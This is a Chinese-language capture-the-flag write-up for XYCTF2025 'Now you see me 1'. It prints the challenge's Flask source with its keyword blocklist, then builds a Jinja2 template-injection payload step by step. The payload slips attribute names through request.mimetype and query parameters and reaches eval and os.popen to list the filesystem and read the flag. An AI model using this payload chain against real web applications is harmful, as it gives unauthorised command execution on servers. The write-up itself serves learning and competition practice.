XYCTF2025 Now you see me 1 题解

176次阅读
一条评论

共计5163个字符,预计需要花费13分钟才能阅读完成。

题目

# YOU FOUND ME ;)
# -*- encoding: utf-8 -*-
'''
@File    :   src.py
@Time    :   2025/03/29 01:10:37
@Author  :   LamentXU 
'''
import flask
import sys
enable_hook =  False
counter = 0
def audit_checker(event,args):
    global counter
    if enable_hook:
        if event in ["exec", "compile"]:
            counter += 1
            if counter > 4:
                raise RuntimeError(event)

lock_within = [
    "debug", "form", "args", "values", 
    "headers", "json", "stream", "environ",
    "files", "method", "cookies", "application", 
    'data', 'url' ,'\'', '"', 
    "getattr", "_", "{{", "}}", 
    "[", "]", "\\", "/","self", 
    "lipsum", "cycler", "joiner", "namespace", 
    "init", "dir", "join", "decode", 
    "batch", "first", "last" , 
    " ","dict","list","g.",
    "os", "subprocess",
    "g|a", "GLOBALS", "lower", "upper",
    "BUILTINS", "select", "WHOAMI", "path",
    "os", "popen", "cat", "nl", "app", "setattr", "translate",
    "sort", "base64", "encode", "\\u", "pop", "referer",
    "The closer you see, the lesser you find."] 
        # I hate all these.
app = flask.Flask(__name__)
@app.route('/')
def index():
    return 'try /H3dden_route'
@app.route('/H3dden_route')
def r3al_ins1de_th0ught():
    global enable_hook, counter
    name = flask.request.args.get('My_ins1de_w0r1d')
    if name:
        try:
            if name.startswith("Follow-your-heart-"):
                for i in lock_within:
                    if i in name:
                        return 'NOPE.'
                enable_hook = True
                a = flask.render_template_string('{#'+f'{name}'+'#}')
                enable_hook = False
                counter = 0
                return a
            else:
                return 'My inside world is always hidden.'
        except RuntimeError as e:
            counter = 0
            return 'NO.'
        except Exception as e:
            return 'Error'
    else:
        return 'Welcome to Hidden_route!'

if __name__ == '__main__':
    import os
    try:
        import _posixsubprocess
        del _posixsubprocess.fork_exec
    except:
        pass
    import subprocess
    del os.popen
    del os.system
    del subprocess.Popen
    del subprocess.call
    del subprocess.run
    del subprocess.check_output
    del subprocess.getoutput
    del subprocess.check_call
    del subprocess.getstatusoutput
    del subprocess.PIPE
    del subprocess.STDOUT
    del subprocess.CalledProcessError
    del subprocess.TimeoutExpired
    del subprocess.SubprocessError
    sys.addaudithook(audit_checker)
    app.run(debug=False, host='0.0.0.0', port=5000)

思路

打开该文件发现代码被隐藏了:

XYCTF2025 Now you see me 1 题解

记事本 打开可以发现隐藏代码,并进行 base64 解密得到源代码:

XYCTF2025 Now you see me 1 题解

{{}} 花括号都被禁止了,可以用 {% print() %} 来绕过,而且要以 Follow-your-heart- 开头。因此我们可以先尝试封闭括号:

Follow-your-heart-#}{%print()%}{#

发现没有禁用 request.,那么我们是不是就能使用 request 里面的属性了呢?但是 "debug", "form", "args", "values", "headers", "json", "stream", "environ", "files", "method", "cookies", "application", 'data', 'url' 这些属性全被禁止了。。。看似密不透风,但是我们发现 pragmamimetype 这两个属性没有禁用,看看其说明:

XYCTF2025 Now you see me 1 题解

XYCTF2025 Now you see me 1 题解

都是可以传送给服务器的 HTTP Header!这样就可以给服务器传送任何我们想要的字符串。而且我们甚至还能利用 mimetype_params,传送给服务器数组:

XYCTF2025 Now you see me 1 题解

这里我为了方便,直接用 request.args 传参数,虽然 args 被禁用了,但我们可以通过传入 mimetype=args 来绕过,并用 |attr() 来获取属性,最后用数组的 get() 方法来获得值(注意由于引号被过滤,我们只能传入数字,但可以通过 |string 过滤器来将数字转成字符串)。我们传入请求:

http://eci-2ze7jndrdiix83nprigb.cloudeci1.ichunqiu.com:8080/H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23}{%print((request|attr(request.mimetype)).get(0|string))%}{%23&0=__init__

并带上 Header

XYCTF2025 Now you see me 1 题解

得到了我们想要的 __init__

理论可行,开始实践!首先要绕过中括号 [],用 __getitem__ 绕过 [],采用以下 Payload

().__class__.__bases__.__getitem__(0).__subclasses__()

转换成刚才绕过的代码就是:

Follow-your-heart-%23}{%print(((()|attr((request|attr(request.mimetype)).get(0|string))|attr((request|attr(request.mimetype)).get(1|string))|attr((request|attr(request.mimetype)).get(2|string)))(0)|attr((request|attr(request.mimetype)).get(3|string)))())%}{%23

并且传入参数:

XYCTF2025 Now you see me 1 题解

然后在下面返回值里面找到我们想要的 <class 'os._wrap_close'>,在 138 行:

XYCTF2025 Now you see me 1 题解

修改以下原始的 payload:

().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(137).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')("__import__('os').popen('ls -al /').read()")

得到最终 payload:

My_ins1de_w0r1d:Follow-your-heart-%23}{%print(((((((()|attr((request|attr(request.mimetype)).get(0|string))|attr((request|attr(request.mimetype)).get(1|string))|attr((request|attr(request.mimetype)).get(2|string)))(0)|attr((request|attr(request.mimetype)).get(3|string)))()|attr((request|attr(request.mimetype)).get(2|string)))(137)|attr((request|attr(request.mimetype)).get(4|string))|attr((request|attr(request.mimetype)).get(5|string))|attr((request|attr(request.mimetype)).get(2|string)))((request|attr(request.mimetype)).get(6|string))|attr((request|attr(request.mimetype)).get(2|string)))((request|attr(request.mimetype)).get(7|string)))((request|attr(request.mimetype)).get(8|string)))%}{%23
0:__class__
1:__bases__
2:__getitem__
3:__subclasses__
4:__init__
5:__globals__
6:__builtins__
7:eval
8:__import__('os').popen('ls -al /').read()

XYCTF2025 Now you see me 1 题解

这玩意竟然还不是明文的 flag?!将文件转成 base64 编码读取到本地看看?将命令改成 __import__('os').popen('base64 /flag*').read()

My_ins1de_w0r1d:Follow-your-heart-%23}{%print(((((((()|attr((request|attr(request.mimetype)).get(0|string))|attr((request|attr(request.mimetype)).get(1|string))|attr((request|attr(request.mimetype)).get(2|string)))(0)|attr((request|attr(request.mimetype)).get(3|string)))()|attr((request|attr(request.mimetype)).get(2|string)))(137)|attr((request|attr(request.mimetype)).get(4|string))|attr((request|attr(request.mimetype)).get(5|string))|attr((request|attr(request.mimetype)).get(2|string)))((request|attr(request.mimetype)).get(6|string))|attr((request|attr(request.mimetype)).get(2|string)))((request|attr(request.mimetype)).get(7|string)))((request|attr(request.mimetype)).get(8|string)))%}{%23
0:__class__
1:__bases__
2:__getitem__
3:__subclasses__
4:__init__
5:__globals__
6:__builtins__
7:eval
8:__import__('os').popen('base64 /flag*').read()

XYCTF2025 Now you see me 1 题解

将以上这些 base64 代码复制到本地 payload.txt,并用命令 base64 -d payload.txt > file 将文件解码回来,得到了 wave 文件?!

XYCTF2025 Now you see me 1 题解

DeepSound 软件解出:

XYCTF2025 Now you see me 1 题解

打开 txt 文件得到 flag

XYCTF2025 Now you see me 1 题解

正文完
 0
评论(一条评论)
验证码
zh_CN简体中文